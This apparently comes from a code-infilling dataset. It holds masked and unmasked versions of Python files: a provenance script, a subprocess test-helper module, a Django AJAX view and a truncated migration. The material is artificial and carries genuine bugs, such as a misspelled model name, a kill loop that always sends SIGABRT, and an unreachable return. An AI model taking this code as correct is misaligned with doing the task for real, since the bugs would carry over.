doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log.
doc.add_namespace('ops', 'http://bostonopendata-boston.opendata.arcgis.com/datasets/')
this_script = doc.agent('alg:bmroach#open_space', {prov.model.PROV_TYPE:prov.model.PROV['SoftwareAgent'], 'ont:Extension':'py'})
resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {'prov:label':'311, Service Requests', prov.model.PROV_TYPE:'ont:DataResource', 'ont:Extension':'geojson'})
get_open_space = doc.activity('log:uuid'+str(uuid.uuid4()), startTime, endTime)
doc.wasAssociatedWith(get_open_space, this_script)
doc.usage(get_open_space,resource, startTime, None,
{prov.model.PROV_TYPE:'ont:Retrieval',
'ont:Query':''
}
)
open_space = doc.entity('dat:bmroach#open_space', {prov.model.PROV_LABEL:'open_space', prov.model.PROV_TYPE:'ont:DataSet'})
doc.wasAttributedTo(open_space, this_script)
doc.wasGeneratedBy(open_space, get_open_space, endTime)
doc.wasDerivedFrom(open_space, resource, get_open_space, get_open_space, get_open_space)
repo.logout()
return doc
# retrieve_open_space.execute()
# doc = retrieve_open_space.provenance()
# print(doc.get_provn())
# print(json.dumps(json.loads(doc.serialize()), indent=4))
## eof
| [
1,
3,
4,
5,
6
] |
9,915 | 7f220a970d65a91228501f7db59089e6c0604fb5 | <mask token>
def wait_condition(cond, timeout=1, sleeptime=0.01):
"""Wait for condition to return anything other than None
"""
if timeout is None:
timeout = 1
if timeout < sleeptime:
print('Warning, timeout cannot be smaller than', sleeptime)
timeout = sleeptime
tries = int(timeout / sleeptime)
for i in range(tries):
val = cond()
if val is not None:
break
sleep(sleeptime)
return val
<mask token>
def _queue_output(arguments, pidq, outputq):
"""Read/Write output/input of given process.
This function is meant to be executed in a thread as it may block
"""
kwargs = arguments['process']
input = arguments['input']
try:
proc = Popen(**kwargs)
except OSError as e:
pidq.put(None)
outputq.put(('',
"Unexpected exception caught during execution: '{0}' . ".format
(e), 255))
return
pidq.put(proc.pid)
out, err = proc.communicate(input)
out, err = out.decode('utf-8'), err.decode('utf-8')
outputq.put((out, err, proc.returncode))
def _retrieve_output(thread, timeout, queue, thread_error):
"""Fetch output from binary subprocess queues
"""
thread.join(timeout)
if thread.isAlive():
raise TimeoutWaitingFor(thread_error + '. Unexpected error')
try:
data = queue.get(timeout=timeout)
except Empty:
data = TimeoutWaitingFor('streams from program')
return data
def _get_output(arguments, timeout=None):
"""Collect output from the subprocess without blocking the main process if
subprocess hangs.
"""
output_timeout = 0.1
pidq = Queue()
outputq = Queue()
t = Thread(target=_queue_output, args=(arguments, pidq, outputq))
t.daemon = True
t.start()
try:
pid = pidq.get(timeout=timeout)
except Empty:
pid = None
if pid is None:
return _retrieve_output(t, output_timeout, outputq, 'Program to start')
state = wait_process(pid, timeout)
if state:
return _retrieve_output(t, output_timeout, outputq,
'Program thread to join')
for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):
try:
os.kill(pid, signal.SIGABRT)
except OSError as e:
if e.errno != 3:
raise
state = wait_process(pid, timeout)
if state:
return _retrieve_output(t, output_timeout, outputq,
'Program to die')
raise OSError("Program stopped responding and couldn't be killed")
def run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=
False, env=os.environ, timeout=None):
"""Run a subprocess and wait for it to finish"""
if input is None:
stdin = None
else:
stdin = PIPE
if merge_streams:
stderr = STDOUT
else:
stderr = PIPE
arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,
'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},
'input': input}
out, err, exit = _get_output(arguments, timeout)
if merge_streams:
if exit != 0:
raise CommandError(cmd, exit, out)
else:
return exit, out
elif exit != 0:
raise CommandError(cmd, exit, out, err)
else:
return exit, out, err
def run_cmd_wait_nofail(*args, **kwargs):
"""Same as run_cmd_wait but silence the exception if it happens"""
try:
return run_cmd_wait(*args, **kwargs)
except CommandError as e:
return e.code, e.out, e.err
def memoize(obj):
"""Keep an in-memory cache of function results given its inputs
"""
cache = obj.cache = {}
@functools.wraps(obj)
def memoizer(*args, **kwargs):
key = str(args) + str(kwargs)
if key not in cache:
cache[key] = obj(*args, **kwargs)
return cache[key]
return memoizer
<mask token>
def parse_datafile(file):
"""Parse .data files, treating files as JSON
"""
data = []
with open(file) as fh:
for line in fh:
line = line.rstrip('\n')
if line.startswith('[') and line.endswith(']'):
line = '{' + line[1:-1] + '}'
if line.startswith('{'):
data.append(json.loads(line))
else:
data.append(line)
return data
def mkstemp(data):
"""
Create a temporary file that is removed at process exit
"""
def rmtemp(name):
try:
os.remove(name)
except OSError:
pass
f = tempfile.NamedTemporaryFile(delete=False)
f.write(data)
f.close()
atexit.register(rmtemp, f.name)
return f.name
def mkstemp_exec(data):
"""Create a temporary executable file that is removed at process exit
"""
name = mkstemp(data)
os.chmod(name, 493)
return name
| <mask token>
def wait_condition(cond, timeout=1, sleeptime=0.01):
"""Wait for condition to return anything other than None
"""
if timeout is None:
timeout = 1
if timeout < sleeptime:
print('Warning, timeout cannot be smaller than', sleeptime)
timeout = sleeptime
tries = int(timeout / sleeptime)
for i in range(tries):
val = cond()
if val is not None:
break
sleep(sleeptime)
return val
def wait_process(pid, timeout=None):
"""Wait for process to finish
"""
def process():
try:
os.kill(pid, 0)
except OSError:
return True
else:
return None
return wait_condition(process, timeout)
def _queue_output(arguments, pidq, outputq):
"""Read/Write output/input of given process.
This function is meant to be executed in a thread as it may block
"""
kwargs = arguments['process']
input = arguments['input']
try:
proc = Popen(**kwargs)
except OSError as e:
pidq.put(None)
outputq.put(('',
"Unexpected exception caught during execution: '{0}' . ".format
(e), 255))
return
pidq.put(proc.pid)
out, err = proc.communicate(input)
out, err = out.decode('utf-8'), err.decode('utf-8')
outputq.put((out, err, proc.returncode))
def _retrieve_output(thread, timeout, queue, thread_error):
"""Fetch output from binary subprocess queues
"""
thread.join(timeout)
if thread.isAlive():
raise TimeoutWaitingFor(thread_error + '. Unexpected error')
try:
data = queue.get(timeout=timeout)
except Empty:
data = TimeoutWaitingFor('streams from program')
return data
def _get_output(arguments, timeout=None):
"""Collect output from the subprocess without blocking the main process if
subprocess hangs.
"""
output_timeout = 0.1
pidq = Queue()
outputq = Queue()
t = Thread(target=_queue_output, args=(arguments, pidq, outputq))
t.daemon = True
t.start()
try:
pid = pidq.get(timeout=timeout)
except Empty:
pid = None
if pid is None:
return _retrieve_output(t, output_timeout, outputq, 'Program to start')
state = wait_process(pid, timeout)
if state:
return _retrieve_output(t, output_timeout, outputq,
'Program thread to join')
for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):
try:
os.kill(pid, signal.SIGABRT)
except OSError as e:
if e.errno != 3:
raise
state = wait_process(pid, timeout)
if state:
return _retrieve_output(t, output_timeout, outputq,
'Program to die')
raise OSError("Program stopped responding and couldn't be killed")
def run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=
False, env=os.environ, timeout=None):
"""Run a subprocess and wait for it to finish"""
if input is None:
stdin = None
else:
stdin = PIPE
if merge_streams:
stderr = STDOUT
else:
stderr = PIPE
arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,
'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},
'input': input}
out, err, exit = _get_output(arguments, timeout)
if merge_streams:
if exit != 0:
raise CommandError(cmd, exit, out)
else:
return exit, out
elif exit != 0:
raise CommandError(cmd, exit, out, err)
else:
return exit, out, err
def run_cmd_wait_nofail(*args, **kwargs):
"""Same as run_cmd_wait but silence the exception if it happens"""
try:
return run_cmd_wait(*args, **kwargs)
except CommandError as e:
return e.code, e.out, e.err
def memoize(obj):
"""Keep an in-memory cache of function results given its inputs
"""
cache = obj.cache = {}
@functools.wraps(obj)
def memoizer(*args, **kwargs):
key = str(args) + str(kwargs)
if key not in cache:
cache[key] = obj(*args, **kwargs)
return cache[key]
return memoizer
<mask token>
def parse_datafile(file):
"""Parse .data files, treating files as JSON
"""
data = []
with open(file) as fh:
for line in fh:
line = line.rstrip('\n')
if line.startswith('[') and line.endswith(']'):
line = '{' + line[1:-1] + '}'
if line.startswith('{'):
data.append(json.loads(line))
else:
data.append(line)
return data
def mkstemp(data):
"""
Create a temporary file that is removed at process exit
"""
def rmtemp(name):
try:
os.remove(name)
except OSError:
pass
f = tempfile.NamedTemporaryFile(delete=False)
f.write(data)
f.close()
atexit.register(rmtemp, f.name)
return f.name
def mkstemp_exec(data):
"""Create a temporary executable file that is removed at process exit
"""
name = mkstemp(data)
os.chmod(name, 493)
return name
| <mask token>
def shared_binary_location(cmd='shared'):
""" ../src/ is used by default.
"""
return os.path.join(BIN_PREFIX, cmd)
return binary_location(cmd, SHARED_USE_PATH)
def binary_location(cmd, USE_PATH=False):
""" ../src/ is used by default.
"""
return os.path.join(BIN_PREFIX, cmd)
def wait_condition(cond, timeout=1, sleeptime=0.01):
"""Wait for condition to return anything other than None
"""
if timeout is None:
timeout = 1
if timeout < sleeptime:
print('Warning, timeout cannot be smaller than', sleeptime)
timeout = sleeptime
tries = int(timeout / sleeptime)
for i in range(tries):
val = cond()
if val is not None:
break
sleep(sleeptime)
return val
def wait_process(pid, timeout=None):
"""Wait for process to finish
"""
def process():
try:
os.kill(pid, 0)
except OSError:
return True
else:
return None
return wait_condition(process, timeout)
def _queue_output(arguments, pidq, outputq):
"""Read/Write output/input of given process.
This function is meant to be executed in a thread as it may block
"""
kwargs = arguments['process']
input = arguments['input']
try:
proc = Popen(**kwargs)
except OSError as e:
pidq.put(None)
outputq.put(('',
"Unexpected exception caught during execution: '{0}' . ".format
(e), 255))
return
pidq.put(proc.pid)
out, err = proc.communicate(input)
out, err = out.decode('utf-8'), err.decode('utf-8')
outputq.put((out, err, proc.returncode))
def _retrieve_output(thread, timeout, queue, thread_error):
"""Fetch output from binary subprocess queues
"""
thread.join(timeout)
if thread.isAlive():
raise TimeoutWaitingFor(thread_error + '. Unexpected error')
try:
data = queue.get(timeout=timeout)
except Empty:
data = TimeoutWaitingFor('streams from program')
return data
def _get_output(arguments, timeout=None):
"""Collect output from the subprocess without blocking the main process if
subprocess hangs.
"""
output_timeout = 0.1
pidq = Queue()
outputq = Queue()
t = Thread(target=_queue_output, args=(arguments, pidq, outputq))
t.daemon = True
t.start()
try:
pid = pidq.get(timeout=timeout)
except Empty:
pid = None
if pid is None:
return _retrieve_output(t, output_timeout, outputq, 'Program to start')
state = wait_process(pid, timeout)
if state:
return _retrieve_output(t, output_timeout, outputq,
'Program thread to join')
for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):
try:
os.kill(pid, signal.SIGABRT)
except OSError as e:
if e.errno != 3:
raise
state = wait_process(pid, timeout)
if state:
return _retrieve_output(t, output_timeout, outputq,
'Program to die')
raise OSError("Program stopped responding and couldn't be killed")
def run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=
False, env=os.environ, timeout=None):
"""Run a subprocess and wait for it to finish"""
if input is None:
stdin = None
else:
stdin = PIPE
if merge_streams:
stderr = STDOUT
else:
stderr = PIPE
arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,
'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},
'input': input}
out, err, exit = _get_output(arguments, timeout)
if merge_streams:
if exit != 0:
raise CommandError(cmd, exit, out)
else:
return exit, out
elif exit != 0:
raise CommandError(cmd, exit, out, err)
else:
return exit, out, err
def run_cmd_wait_nofail(*args, **kwargs):
"""Same as run_cmd_wait but silence the exception if it happens"""
try:
return run_cmd_wait(*args, **kwargs)
except CommandError as e:
return e.code, e.out, e.err
def memoize(obj):
"""Keep an in-memory cache of function results given its inputs
"""
cache = obj.cache = {}
@functools.wraps(obj)
def memoizer(*args, **kwargs):
key = str(args) + str(kwargs)
if key not in cache:
cache[key] = obj(*args, **kwargs)
return cache[key]
return memoizer
<mask token>
def parse_datafile(file):
"""Parse .data files, treating files as JSON
"""
data = []
with open(file) as fh:
for line in fh:
line = line.rstrip('\n')
if line.startswith('[') and line.endswith(']'):
line = '{' + line[1:-1] + '}'
if line.startswith('{'):
data.append(json.loads(line))
else:
data.append(line)
return data
def mkstemp(data):
"""
Create a temporary file that is removed at process exit
"""
def rmtemp(name):
try:
os.remove(name)
except OSError:
pass
f = tempfile.NamedTemporaryFile(delete=False)
f.write(data)
f.close()
atexit.register(rmtemp, f.name)
return f.name
def mkstemp_exec(data):
"""Create a temporary executable file that is removed at process exit
"""
name = mkstemp(data)
os.chmod(name, 493)
return name
| <mask token>
ON_POSIX = 'posix' in sys.builtin_module_names
CURRENT_DIR = os.path.dirname(os.path.abspath(__file__))
BIN_PREFIX = os.path.abspath(os.path.join(CURRENT_DIR, '..', '..', 'src'))
DEFAULT_CERT_PATH = os.path.abspath(os.path.join(CURRENT_DIR, '..',
'test_certs'))
DEFAULT_EXTENSION_PATH = os.path.abspath(os.path.join(CURRENT_DIR, '..',
'test_extensions'))
SHARED_SKIP = os.environ.get('SHARED_SKIP', False)
SHARED_USE_PATH = os.environ.get('SHARED_USE_PATH', False)
UUID_REGEXP = '[0-9A-Fa-f]{8}-' + '[0-9A-Fa-f]{4}-' * 3 + '[0-9A-Fa-f]{12}'
def shared_binary_location(cmd='shared'):
""" ../src/ is used by default.
"""
return os.path.join(BIN_PREFIX, cmd)
return binary_location(cmd, SHARED_USE_PATH)
def binary_location(cmd, USE_PATH=False):
""" ../src/ is used by default.
"""
return os.path.join(BIN_PREFIX, cmd)
def wait_condition(cond, timeout=1, sleeptime=0.01):
"""Wait for condition to return anything other than None
"""
if timeout is None:
timeout = 1
if timeout < sleeptime:
print('Warning, timeout cannot be smaller than', sleeptime)
timeout = sleeptime
tries = int(timeout / sleeptime)
for i in range(tries):
val = cond()
if val is not None:
break
sleep(sleeptime)
return val
def wait_process(pid, timeout=None):
"""Wait for process to finish
"""
def process():
try:
os.kill(pid, 0)
except OSError:
return True
else:
return None
return wait_condition(process, timeout)
def _queue_output(arguments, pidq, outputq):
"""Read/Write output/input of given process.
This function is meant to be executed in a thread as it may block
"""
kwargs = arguments['process']
input = arguments['input']
try:
proc = Popen(**kwargs)
except OSError as e:
pidq.put(None)
outputq.put(('',
"Unexpected exception caught during execution: '{0}' . ".format
(e), 255))
return
pidq.put(proc.pid)
out, err = proc.communicate(input)
out, err = out.decode('utf-8'), err.decode('utf-8')
outputq.put((out, err, proc.returncode))
def _retrieve_output(thread, timeout, queue, thread_error):
"""Fetch output from binary subprocess queues
"""
thread.join(timeout)
if thread.isAlive():
raise TimeoutWaitingFor(thread_error + '. Unexpected error')
try:
data = queue.get(timeout=timeout)
except Empty:
data = TimeoutWaitingFor('streams from program')
return data
def _get_output(arguments, timeout=None):
"""Collect output from the subprocess without blocking the main process if
subprocess hangs.
"""
output_timeout = 0.1
pidq = Queue()
outputq = Queue()
t = Thread(target=_queue_output, args=(arguments, pidq, outputq))
t.daemon = True
t.start()
try:
pid = pidq.get(timeout=timeout)
except Empty:
pid = None
if pid is None:
return _retrieve_output(t, output_timeout, outputq, 'Program to start')
state = wait_process(pid, timeout)
if state:
return _retrieve_output(t, output_timeout, outputq,
'Program thread to join')
for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):
try:
os.kill(pid, signal.SIGABRT)
except OSError as e:
if e.errno != 3:
raise
state = wait_process(pid, timeout)
if state:
return _retrieve_output(t, output_timeout, outputq,
'Program to die')
raise OSError("Program stopped responding and couldn't be killed")
def run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams=
False, env=os.environ, timeout=None):
"""Run a subprocess and wait for it to finish"""
if input is None:
stdin = None
else:
stdin = PIPE
if merge_streams:
stderr = STDOUT
else:
stderr = PIPE
arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout,
'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env},
'input': input}
out, err, exit = _get_output(arguments, timeout)
if merge_streams:
if exit != 0:
raise CommandError(cmd, exit, out)
else:
return exit, out
elif exit != 0:
raise CommandError(cmd, exit, out, err)
else:
return exit, out, err
def run_cmd_wait_nofail(*args, **kwargs):
"""Same as run_cmd_wait but silence the exception if it happens"""
try:
return run_cmd_wait(*args, **kwargs)
except CommandError as e:
return e.code, e.out, e.err
def memoize(obj):
"""Keep an in-memory cache of function results given its inputs
"""
cache = obj.cache = {}
@functools.wraps(obj)
def memoizer(*args, **kwargs):
key = str(args) + str(kwargs)
if key not in cache:
cache[key] = obj(*args, **kwargs)
return cache[key]
return memoizer
<mask token>
which = memoize(which)
def parse_datafile(file):
"""Parse .data files, treating files as JSON
"""
data = []
with open(file) as fh:
for line in fh:
line = line.rstrip('\n')
if line.startswith('[') and line.endswith(']'):
line = '{' + line[1:-1] + '}'
if line.startswith('{'):
data.append(json.loads(line))
else:
data.append(line)
return data
def mkstemp(data):
"""
Create a temporary file that is removed at process exit
"""
def rmtemp(name):
try:
os.remove(name)
except OSError:
pass
f = tempfile.NamedTemporaryFile(delete=False)
f.write(data)
f.close()
atexit.register(rmtemp, f.name)
return f.name
def mkstemp_exec(data):
"""Create a temporary executable file that is removed at process exit
"""
name = mkstemp(data)
os.chmod(name, 493)
return name
| # -*- coding: utf-8 -*-
import os
import sys
import socket
import signal
import functools
import atexit
import tempfile
from subprocess import Popen, PIPE, STDOUT
from threading import Thread
from queue import Queue, Empty
from time import sleep
import json
from .exceptions import CommandError, TimeoutWaitingFor
ON_POSIX = 'posix' in sys.builtin_module_names
# Directory relative to basetest module location
CURRENT_DIR = os.path.dirname(os.path.abspath(__file__))
# Location of binary files (usually the src/ folder)
BIN_PREFIX = os.path.abspath(
os.path.join(CURRENT_DIR, "..", "..", "src")
)
# Default location of test certificates
DEFAULT_CERT_PATH = os.path.abspath(
os.path.join(CURRENT_DIR, "..", "test_certs")
)
# Default location of test extensions
DEFAULT_EXTENSION_PATH = os.path.abspath(
os.path.join(CURRENT_DIR, "..", "test_extensions")
)
# Environment flags to control skipping of shared tests
SHARED_SKIP = os.environ.get("SHARED_SKIP", False)
# Environment flags to control use of PATH or in-tree binaries
SHARED_USE_PATH = os.environ.get("SHARED_USE_PATH", False)
UUID_REGEXP = ("[0-9A-Fa-f]{8}-" + ("[0-9A-Fa-f]{4}-" * 3) + "[0-9A-Fa-f]{12}")
def shared_binary_location(cmd="shared"):
""" ../src/ is used by default.
"""
return os.path.join(BIN_PREFIX, cmd)
return binary_location(cmd, SHARED_USE_PATH)
def binary_location(cmd, USE_PATH=False):
""" ../src/ is used by default.
"""
return os.path.join(BIN_PREFIX, cmd)
def wait_condition(cond, timeout=1, sleeptime=.01):
"""Wait for condition to return anything other than None
"""
# NOTE Increasing sleeptime can dramatically increase testsuite runtime
# It also reduces CPU load significantly
if timeout is None:
timeout = 1
if timeout < sleeptime:
print("Warning, timeout cannot be smaller than", sleeptime)
timeout = sleeptime
# Max number of attempts until giving up
tries = int(timeout / sleeptime)
for i in range(tries):
val = cond()
if val is not None:
break
sleep(sleeptime)
return val
def wait_process(pid, timeout=None):
"""Wait for process to finish
"""
def process():
try:
os.kill(pid, 0)
except OSError:
# Process is dead
return True
else:
# Process is still ticking
return None
return wait_condition(process, timeout)
def _queue_output(arguments, pidq, outputq):
"""Read/Write output/input of given process.
This function is meant to be executed in a thread as it may block
"""
kwargs = arguments["process"]
input = arguments["input"]
try:
proc = Popen(**kwargs)
except OSError as e:
# pid None is read by the main thread as a crash of the process
pidq.put(None)
outputq.put((
"",
("Unexpected exception caught during execution: '{0}' . ".format(e)),
255)) # false exitcode
return
# Put the PID in the queue for main process to know.
pidq.put(proc.pid)
# Send input and wait for finish
out, err = proc.communicate(input)
out, err = out.decode('utf-8'), err.decode('utf-8')
# Give the output back to the caller
outputq.put((out, err, proc.returncode))
def _retrieve_output(thread, timeout, queue, thread_error):
"""Fetch output from binary subprocess queues
"""
# Try to join the thread on failure abort
thread.join(timeout)
if thread.isAlive():
# Join should have killed the thread. This is unexpected
raise TimeoutWaitingFor(thread_error + ". Unexpected error")
# Thread died so we should have output
try:
# data = (stdout, stderr, exitcode)
data = queue.get(timeout=timeout)
except Empty:
data = TimeoutWaitingFor("streams from program")
return data
def _get_output(arguments, timeout=None):
"""Collect output from the subprocess without blocking the main process if
subprocess hangs.
"""
# NOTE Increase this value if tests fail with None being received as
# stdout/stderr instead of the expected content
output_timeout = 0.1 # seconds
pidq = Queue()
outputq = Queue()
t = Thread(target=_queue_output, args=(arguments, pidq, outputq))
t.daemon = True
t.start()
try:
pid = pidq.get(timeout=timeout)
except Empty:
pid = None
# Process crashed or timed out for some reason
if pid is None:
return _retrieve_output(t, output_timeout, outputq,
"Program to start")
# Wait for process to finish (normal execution)
state = wait_process(pid, timeout)
if state:
# Process finished
return _retrieve_output(t, output_timeout, outputq,
"Program thread to join")
# If we reach this point we assume the process got stuck or timed out
for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):
# Start with lower signals and escalate if process ignores them
try:
os.kill(pid, signal.SIGABRT)
except OSError as e:
# 3 means the process finished/died between last check and now
if e.errno != 3:
raise
# Wait for process to finish (should die/exit after signal)
state = wait_process(pid, timeout)
if state:
# Process finished
return _retrieve_output(t, output_timeout, outputq,
"Program to die")
# This should never happen but in case something goes really bad
raise OSError("Program stopped responding and couldn't be killed")
def run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE,
merge_streams=False, env=os.environ, timeout=None):
"Run a subprocess and wait for it to finish"
if input is None:
stdin = None
else:
stdin = PIPE
if merge_streams:
stderr = STDOUT
else:
stderr = PIPE
arguments = {
"process": {
"args": cmd,
"stdin": stdin,
"stdout": stdout,
"stderr": stderr,
"bufsize": 1,
"close_fds": ON_POSIX,
"env": env,
},
"input": input,
}
out, err, exit = _get_output(arguments, timeout)
if merge_streams:
if exit != 0:
raise CommandError(cmd, exit, out)
else:
return exit, out
else:
if exit != 0:
raise CommandError(cmd, exit, out, err)
else:
return exit, out, err
def run_cmd_wait_nofail(*args, **kwargs):
"""Same as run_cmd_wait but silence the exception if it happens"""
try:
return run_cmd_wait(*args, **kwargs)
except CommandError as e:
return e.code, e.out, e.err
def memoize(obj):
"""Keep an in-memory cache of function results given its inputs
"""
cache = obj.cache = {}
@functools.wraps(obj)
def memoizer(*args, **kwargs):
key = str(args) + str(kwargs)
if key not in cache:
cache[key] = obj(*args, **kwargs)
return cache[key]
return memoizer
from shutil import which
which = memoize(which)
def parse_datafile(file):
"""Parse .data files, treating files as JSON
"""
data = []
with open(file) as fh:
for line in fh:
line = line.rstrip("\n")
# Turn [] strings into {} to be treated properly as JSON hashes
if line.startswith('[') and line.endswith(']'):
line = '{' + line[1:-1] + '}'
if line.startswith("{"):
data.append(json.loads(line))
else:
data.append(line)
return data
def mkstemp(data):
"""
Create a temporary file that is removed at process exit
"""
def rmtemp(name):
try:
os.remove(name)
except OSError:
pass
f = tempfile.NamedTemporaryFile(delete=False)
f.write(data)
f.close()
# Ensure removal at end of python session
atexit.register(rmtemp, f.name)
return f.name
def mkstemp_exec(data):
"""Create a temporary executable file that is removed at process exit
"""
name = mkstemp(data)
os.chmod(name, 0o755)
return name
# vim: ai sts=4 et sw=4
| [
10,
11,
13,
14,
16
] |
9,916 | 87a4fcb26464925952dde57fecf4709f01e9fed7 | <mask token>
class AjaxableResponseMixin:
<mask token>
<mask token>
<mask token>
class EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):
form_class = EditorTextForm
model = EditorText
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
context['recent_texts'] = EditorText.objects.filter(created_by=self
.request.user)[:5]
return context
def get_object(self):
pk = self.request.POST.get('pk')
if not pk:
return None
return EdidorText.objects.get(pk=int(pk))
def form_valid(self, form):
form.instance.created_by = self.request.user
return super().form_valid(form)
def get_form_kwargs(self):
"""Return the keyword arguments for instantiating the form."""
self.object = self.get_object()
kwargs = super().get_form_kwargs()
return kwargs
| <mask token>
class AjaxableResponseMixin:
<mask token>
def form_invalid(self, form):
response = super().form_invalid(form)
if self.request.is_ajax():
return JsonResponse(form.errors, status=400)
else:
return response
def form_valid(self, form):
response = super().form_valid(form)
if self.request.is_ajax():
data = {'pk': self.object.pk}
return JsonResponse(data)
else:
return response
class EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):
form_class = EditorTextForm
model = EditorText
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
context['recent_texts'] = EditorText.objects.filter(created_by=self
.request.user)[:5]
return context
def get_object(self):
pk = self.request.POST.get('pk')
if not pk:
return None
return EdidorText.objects.get(pk=int(pk))
def form_valid(self, form):
form.instance.created_by = self.request.user
return super().form_valid(form)
def get_form_kwargs(self):
"""Return the keyword arguments for instantiating the form."""
self.object = self.get_object()
kwargs = super().get_form_kwargs()
return kwargs
| <mask token>
class AjaxableResponseMixin:
"""
Mixin to add AJAX support to a form.
Must be used with an object-based FormView (e.g. CreateView)
"""
def form_invalid(self, form):
response = super().form_invalid(form)
if self.request.is_ajax():
return JsonResponse(form.errors, status=400)
else:
return response
def form_valid(self, form):
response = super().form_valid(form)
if self.request.is_ajax():
data = {'pk': self.object.pk}
return JsonResponse(data)
else:
return response
class EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):
form_class = EditorTextForm
model = EditorText
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
context['recent_texts'] = EditorText.objects.filter(created_by=self
.request.user)[:5]
return context
def get_object(self):
pk = self.request.POST.get('pk')
if not pk:
return None
return EdidorText.objects.get(pk=int(pk))
def form_valid(self, form):
form.instance.created_by = self.request.user
return super().form_valid(form)
def get_form_kwargs(self):
"""Return the keyword arguments for instantiating the form."""
self.object = self.get_object()
kwargs = super().get_form_kwargs()
return kwargs
| from django.contrib.auth.mixins import LoginRequiredMixin
from django.http import JsonResponse
from django.views.generic import CreateView, UpdateView, ListView, DeleteView, TemplateView
from example.forms import EditorTextForm
from example.models import EdidorText
class AjaxableResponseMixin:
"""
Mixin to add AJAX support to a form.
Must be used with an object-based FormView (e.g. CreateView)
"""
def form_invalid(self, form):
response = super().form_invalid(form)
if self.request.is_ajax():
return JsonResponse(form.errors, status=400)
else:
return response
def form_valid(self, form):
response = super().form_valid(form)
if self.request.is_ajax():
data = {'pk': self.object.pk}
return JsonResponse(data)
else:
return response
class EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):
form_class = EditorTextForm
model = EditorText
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
context['recent_texts'] = EditorText.objects.filter(created_by=self
.request.user)[:5]
return context
def get_object(self):
pk = self.request.POST.get('pk')
if not pk:
return None
return EdidorText.objects.get(pk=int(pk))
def form_valid(self, form):
form.instance.created_by = self.request.user
return super().form_valid(form)
def get_form_kwargs(self):
"""Return the keyword arguments for instantiating the form."""
self.object = self.get_object()
kwargs = super().get_form_kwargs()
return kwargs
| from django.contrib.auth.mixins import LoginRequiredMixin
from django.http import JsonResponse
from django.views.generic import CreateView, UpdateView, ListView, \
DeleteView, TemplateView
from example.forms import EditorTextForm
from example.models import EdidorText
class AjaxableResponseMixin:
"""
Mixin to add AJAX support to a form.
Must be used with an object-based FormView (e.g. CreateView)
"""
def form_invalid(self, form):
response = super().form_invalid(form)
if self.request.is_ajax():
return JsonResponse(form.errors, status=400)
else:
return response
def form_valid(self, form):
# We make sure to call the parent's form_valid() method because
# it might do some processing (in the case of CreateView, it will
# call form.save() for example).
response = super().form_valid(form)
if self.request.is_ajax():
data = {
'pk': self.object.pk,
}
return JsonResponse(data)
else:
return response
class EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):
form_class = EditorTextForm
model = EditorText
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
context['recent_texts'] = EditorText.objects.filter(
created_by=self.request.user
)[:5]
return context
def get_object(self):
pk = self.request.POST.get('pk')
if not pk:
return None
return EdidorText.objects.get(pk=int(pk))
def form_valid(self, form):
form.instance.created_by = self.request.user
return super().form_valid(form)
def get_form_kwargs(self):
"""Return the keyword arguments for instantiating the form."""
self.object = self.get_object()
kwargs = super().get_form_kwargs()
return kwargs
| [
7,
9,
10,
11,
12
] |
9,917 | 9555ed63b3906ec23c31839691a089aad9d96c63 | <mask token>
| <mask token>
class Migration(migrations.Migration):
<mask token>
<mask token>
| <mask token>
class Migration(migrations.Migration):
dependencies = [('training_area', '0002_event')]
operations = [migrations.AddField(model_name='event', name='athlete',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.
models.deletion.CASCADE, related_name='athlete_calendar', to=
'training_area.Athlete')), migrations.AddField(model_name='event',
name='coach', field=models.ForeignKey(blank=True, null=True,
on_delete=django.db.models.deletion.CASCADE, related_name=
'coach_calendar', to='training_area.Coach'))]
| from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [('training_area', '0002_event')]
operations = [migrations.AddField(model_name='event', name='athlete',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.
models.deletion.CASCADE, related_name='athlete_calendar', to=
'training_area.Athlete')), migrations.AddField(model_name='event',
name='coach', field=models.ForeignKey(blank=True, null=True,
on_delete=django.db.models.deletion.CASCADE, related_name=
'coach_calendar', to='training_area.Coach'))]
| # Generated by Django 2.1.7 on 2019-03-14 07:27
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('training_area', '0002_event'),
]
operations = [
migrations.AddField(
model_name='event',
name='athlete',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='athlete_calendar', to='training_area.Athlete'),
),
migrations.AddField(
model_name='event',
name='coach',
